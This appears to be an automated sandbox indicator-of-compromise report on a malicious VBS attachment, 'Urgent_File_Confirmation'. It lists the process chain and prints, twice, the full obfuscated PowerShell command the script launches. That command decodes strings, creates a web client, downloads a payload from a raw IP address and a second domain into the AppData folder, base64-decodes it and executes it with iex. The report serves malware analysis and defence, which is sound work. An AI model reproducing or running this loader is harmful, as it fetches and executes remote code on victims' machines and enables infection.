IOC Report
Urgent_File_Confirmation_00000000000000000000.vbs

Urgent_File_Confirmation_00000000000000000000.vbs

ASCII text, with very long lines (2211), with CRLF line terminators

initial sample

C:\Windows\System32\wscript.exe

C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Urgent_File_Confirmation_00000000000000000000.vbs"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'unloveliness Vvestol Shrimpish byrendernes Ristornos33 Estoppel Togaernes Kalkulationskolonnernes Dispatch systematikkerne Hemmelighed Tonical Uncrudded ulyksalighed ugthedens Buddingpulverets Vertebrate Pursuits Partitional Rigsenhedens brugervenlig Hypnotiseres Quinqueradiate Saiga unloveliness Vvestol Shrimpish byrendernes Ristornos33 Estoppel Togaernes Kalkulationskolonnernes Dispatch systematikkerne Hemmelighed Tonical Uncrudded ulyksalighed ugthedens Buddingpulverets Vertebrate Pursuits Partitional Rigsenhedens brugervenlig Hypnotiseres Quinqueradiate Saiga';If (${host}.CurrentCulture) {$Optionally++;}Function Nordvest61($Spaltedefinitionernes){$Defrauding=$Spaltedefinitionernes.Length-$Optionally;$Genskabtes='SUBsTRI';$Genskabtes+='ng';For( $Snakeflower=1;$Snakeflower -lt $Defrauding;$Snakeflower+=2){$unloveliness+=$Spaltedefinitionernes.$Genskabtes.Invoke( $Snakeflower, $Optionally);}$unloveliness;}function Diagonalgade209($Plejninger){ . ($Tantarabobus) ($Plejninger);}$Amtskommunaldirektrens=Nordvest61 ' MPo.zSiIlSlna,/S5 . 0U U(.WSiSn dSopwSs .NFTl 1D0O..0 ; sWOi nE6P4e;B CxO6E4N;S .rSvH:R1 2 1 . 0O)T .G eGc k oT/G2,0V1,0P0S1M0L1M fFTi r.e.fKoBxG/,1M2.1s.C0T ';$Ridestiernes=Nordvest61 'SUPs e,r - ASg,e,n,t. ';$Ristornos33=Nordvest61 ',h t,t p :./F/O1S0 3L.A1R9 5 . 2,3 7f. 4t3M/.MGa g,n e t,i s.e.r iJntg,eSr n eA.Gs.e a >FhStItApTse: /B/Sm i,lSa n a,cJe sB.Vc o m /uM aFg n,e,tui sFePr i n gNe rVnBeO.GsOeHa ';$Diftongeringerne=Nordvest61 '.>S ';$Tantarabobus=Nordvest61 '.iEe x ';$Mugningers157='Kalkulationskolonnernes';$Alluviate = Nordvest61 '.eNcPh.oK P%HaHp,p dPa tIaU%.\ PSaFrMaNp hPyLs i.f,eSrdo u.s ..MDaKk. h& &B eGc hMo Bt ';Diagonalgade209 (Nordvest61 'U$Sg.leo bRaUlM:,rRe k rPu t,sT=K(GcBm d F/ cI $ A,l.lSu vCi,aut e,) ');Diagonalgade209 (Nordvest61 'G$Cg,l,oBbAa l :PbOyAr,eUn.d eLr.n eAs,= $SR,iYs,t oMrLnTo s,3.3K.DsSp l,i t.( $TD isfFt o.nHgCe rUiun g,eOr.nReA)A ');Diagonalgade209 (Nordvest61 'R[ANBe,tA.PSTe rav,i cBeBP o i nAtMMaa,n aCgte,r,]I: :CS eMc,uSr i,t.y,PRrUo,t o cDoDl E=E M[PNOeGt..SSReDc.uMr i t yFPErMout,oBc,o lUTFy pOe ] :.:,T lEsU1U2 ');$Ristornos33=$byrendernes[0];$Konjunkturgevinsterne= (Nordvest61 'D$BgTl oPbEa.l :DUMnPsAubmTpSt.u,oHu.s.l y,=UN eOwK-fO.bFjSeSc tJ FS yCs tme,mF.PNNe.t .HWieLb C l iSeUn t');$Konjunkturgevinsterne+=$rekruts[1];Diagonalgade209 ($Konjunkturgevinsterne);Diagonalgade209 (Nordvest61 ' $ UEnUscuAmTp t.uUo uHsOl,y .UHCe a,dGeHr s [ $TRSiFdSeNs,t,i e,r n.e.s.] =,$UA,m tBs k oAmAmAu n,a,lHd,iRr e kSt rAe.nNsB ');$Packplane223=Nordvest61 ' $ U n s u m.pCt.u o uKs.l.yA.RDDoBwGnBlSoBakdSF iBl.eO( $FR iSs.tNo rSn,oPsM3U3.,O$.HDyUpUn oStAi sIe,r.ePs ) ';$Hypnotiseres=$rekruts[0];Diagonalgade209 (Nordvest61 ',$ gQl o b a.l :SkKlTa,pFsIaLl vReMnA= ( T eDsFtA-,PGaKt hI t$SH,y pHnsoBtSi s ePrCeFsP)V ');while (!$klapsalven) {Diagonalgade209 (Nordvest61 'B$Bg l,oFbAa.l :Ma nNi slu r i a,=A$Mt r u,e ') ;Diagonalgade209 $Packplane223;Diagonalgade209 (Nordvest61 ' SPt,aGrEtP- SSl e eTp. 4 ');Diagonalgade209 (Nordvest61 ' $Kg.l o b a,l : k lTa,p s.a lSv,e nN=g(,TBeAs tC-,PFa t hP E$EH y.pBn o tuiFsSeArTe s )S ') ;Diagonalgade209 (Nordvest61 'S$ g,l,oLbFa lM:AS hLrDi m pci.shhS= $Cg,lTo,b a,l :,V v ePsSt,o l.+C+.%A$Kb yTrUe n dTeRrVn,eAsA.Sc oLu,n,t ') ;$Ristornos33=$byrendernes[$Shrimpish];}$Tedeummers=367459;$Formningernes=26860;Diagonalgade209 (Nordvest61 ' $sg l oTbUaOlE:TDKiBsTp.aIt.cBhP = SGAeBt - C,oGn t e n,tF O$.HPy p n,o tIiMs eMr.eKsQ ');Diagonalgade209 (Nordvest61 'P$Dg.l o,bBaGl,:,P aPl,a.ettAiBoTl oNgKiBcRa,l R=E C[WSByUsFt e m . C o,nSv e,rMt,].:E: FVr o mBBKaTsReB6C4 S t r.i.n.gP(F$sDPi sTpBa tMcShS), ');Diagonalgade209 (Nordvest61 'L$.g lFo b a l :BT,o.n i cta,lK =K [,STyFs,t e m .STMe x ta. E n.c,o dEi nVg.] :S: AAS.CGIII .EGPe t,S tTr.i,nPgF(B$KPPa lIa eLt i o lbo g i c a lc) ');Diagonalgade209 (Nordvest61 ' $GgAlEoMbAaTl :SKOaLnCdBiSd tSw r.=c$MTDoUnSiUc a lS.,s,u,b sHt.r iTn gO(S$,TEe dDeRuNm mSePr.sS, $.FAo,rAmanLi nFgVeAr n,eUsG) ');Diagonalgade209 $Kandidtwr;"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'unloveliness Vvestol Shrimpish byrendernes Ristornos33 Estoppel Togaernes Kalkulationskolonnernes Dispatch systematikkerne Hemmelighed Tonical Uncrudded ulyksalighed ugthedens Buddingpulverets Vertebrate Pursuits Partitional Rigsenhedens brugervenlig Hypnotiseres Quinqueradiate Saiga unloveliness Vvestol Shrimpish byrendernes Ristornos33 Estoppel Togaernes Kalkulationskolonnernes Dispatch systematikkerne Hemmelighed Tonical Uncrudded ulyksalighed ugthedens Buddingpulverets Vertebrate Pursuits Partitional Rigsenhedens brugervenlig Hypnotiseres Quinqueradiate Saiga';If (${host}.CurrentCulture) {$Optionally++;}Function Nordvest61($Spaltedefinitionernes){$Defrauding=$Spaltedefinitionernes.Length-$Optionally;$Genskabtes='SUBsTRI';$Genskabtes+='ng';For( $Snakeflower=1;$Snakeflower -lt $Defrauding;$Snakeflower+=2){$unloveliness+=$Spaltedefinitionernes.$Genskabtes.Invoke( $Snakeflower, $Optionally);}$unloveliness;}function Diagonalgade209($Plejninger){ . ($Tantarabobus) ($Plejninger);}$Amtskommunaldirektrens=Nordvest61 ' MPo.zSiIlSlna,/S5 . 0U U(.WSiSn dSopwSs .NFTl 1D0O..0 ; sWOi nE6P4e;B CxO6E4N;S .rSvH:R1 2 1 . 0O)T .G eGc k oT/G2,0V1,0P0S1M0L1M fFTi r.e.fKoBxG/,1M2.1s.C0T ';$Ridestiernes=Nordvest61 'SUPs e,r - ASg,e,n,t. ';$Ristornos33=Nordvest61 ',h t,t p :./F/O1S0 3L.A1R9 5 . 2,3 7f. 4t3M/.MGa g,n e t,i s.e.r iJntg,eSr n eA.Gs.e a >FhStItApTse: /B/Sm i,lSa n a,cJe sB.Vc o m /uM aFg n,e,tui sFePr i n gNe rVnBeO.GsOeHa ';$Diftongeringerne=Nordvest61 '.>S ';$Tantarabobus=Nordvest61 '.iEe x ';$Mugningers157='Kalkulationskolonnernes';$Alluviate = Nordvest61 '.eNcPh.oK P%HaHp,p dPa tIaU%.\ PSaFrMaNp hPyLs i.f,eSrdo u.s ..MDaKk. h& &B eGc hMo Bt ';Diagonalgade209 (Nordvest61 'U$Sg.leo bRaUlM:,rRe k rPu t,sT=K(GcBm d F/ cI $ A,l.lSu vCi,aut e,) ');Diagonalgade209 (Nordvest61 'G$Cg,l,oBbAa l :PbOyAr,eUn.d eLr.n eAs,= $SR,iYs,t oMrLnTo s,3.3K.DsSp l,i t.( $TD isfFt o.nHgCe rUiun g,eOr.nReA)A ');Diagonalgade209 (Nordvest61 'R[ANBe,tA.PSTe rav,i cBeBP o i nAtMMaa,n aCgte,r,]I: :CS eMc,uSr i,t.y,PRrUo,t o cDoDl E=E M[PNOeGt..SSReDc.uMr i t yFPErMout,oBc,o lUTFy pOe ] :.:,T lEsU1U2 ');$Ristornos33=$byrendernes[0];$Konjunkturgevinsterne= (Nordvest61 'D$BgTl oPbEa.l :DUMnPsAubmTpSt.u,oHu.s.l y,=UN eOwK-fO.bFjSeSc tJ FS yCs tme,mF.PNNe.t .HWieLb C l iSeUn t');$Konjunkturgevinsterne+=$rekruts[1];Diagonalgade209 ($Konjunkturgevinsterne);Diagonalgade209 (Nordvest61 ' $ UEnUscuAmTp t.uUo uHsOl,y .UHCe a,dGeHr s [ $TRSiFdSeNs,t,i e,r n.e.s.] =,$UA,m tBs k oAmAmAu n,a,lHd,iRr e kSt rAe.nNsB ');$Packplane223=Nordvest61 ' $ U n s u m.pCt.u o uKs.l.yA.RDDoBwGnBlSoBakdSF iBl.eO( $FR iSs.tNo rSn,oPsM3U3.,O$.HDyUpUn oStAi sIe,r.ePs ) ';$Hypnotiseres=$rekruts[0];Diagonalgade209 (Nordvest61 ',$ gQl o b a.l :SkKlTa,pFsIaLl vReMnA= ( T eDsFtA-,PGaKt hI t$SH,y pHnsoBtSi s ePrCeFsP)V ');while (!$klapsalven) {Diagonalgade209 (Nordvest61 'B$Bg l,oFbAa.l :Ma nNi slu r i a,=A$Mt r u,e ') ;Diagonalgade209 $Packplane223;Diagonalgade209 (Nordvest61 ' SPt,aGrEtP- SSl e eTp. 4 ');Diagonalgade209 (Nordvest61 ' $Kg.l o b a,l : k lTa,p s.a lSv,e nN=g(,TBeAs tC-,PFa t hP E$EH y.pBn o tuiFsSeArTe s )S ') ;Diagonalgade209 (Nordvest61 'S$ g,l,oLbFa lM:AS hLrDi m pci.shhS= $Cg,lTo,b a,l :,V v ePsSt,o l.+C+.%A$Kb yTrUe n dTeRrVn,eAsA.Sc oLu,n,t ') ;$Ristornos33=$byrendernes[$Shrimpish];}$Tedeummers=367459;$Formningernes=26860;Diagonalgade209 (Nordvest61 ' $sg l oTbUaOlE:TDKiBsTp.aIt.cBhP = SGAeBt - C,oGn t e n,tF O$.HPy p n,o tIiMs eMr.eKsQ ');Diagonalgade209 (Nordvest61 'P$Dg.l o,bBaGl,:,P aPl,a.ettAiBoTl oNgKiBcRa,l R=E C[WSByUsFt e m . C o,nSv e,rMt,].:E: FVr o mBBKaTsReB6C4 S t r.i.n.gP(F$sDPi sTpBa tMcShS), ');Diagonalgade209 (Nordvest61 'L$.g lFo b a l :BT,o.n i cta,lK =K [,STyFs,t e m .STMe x ta. E n.c,o dEi nVg.] :S: AAS.CGIII .EGPe t,S tTr.i,nPgF(B$KPPa lIa eLt i o lbo g i c a lc) ');Diagonalgade209 (Nordvest61 ' $GgAlEoMbAaTl :SKOaLnCdBiSd tSw r.=c$MTDoUnSiUc a lS.,s,u,b sHt.r iTn gO(S$,TEe dDeRuNm mSePr.sS, $.FAo,rAmanLi nFgVeAr n,eUsG) ');Diagonalgade209 $Kandidtwr;"

9B15000

direct allocation

page execute and read and write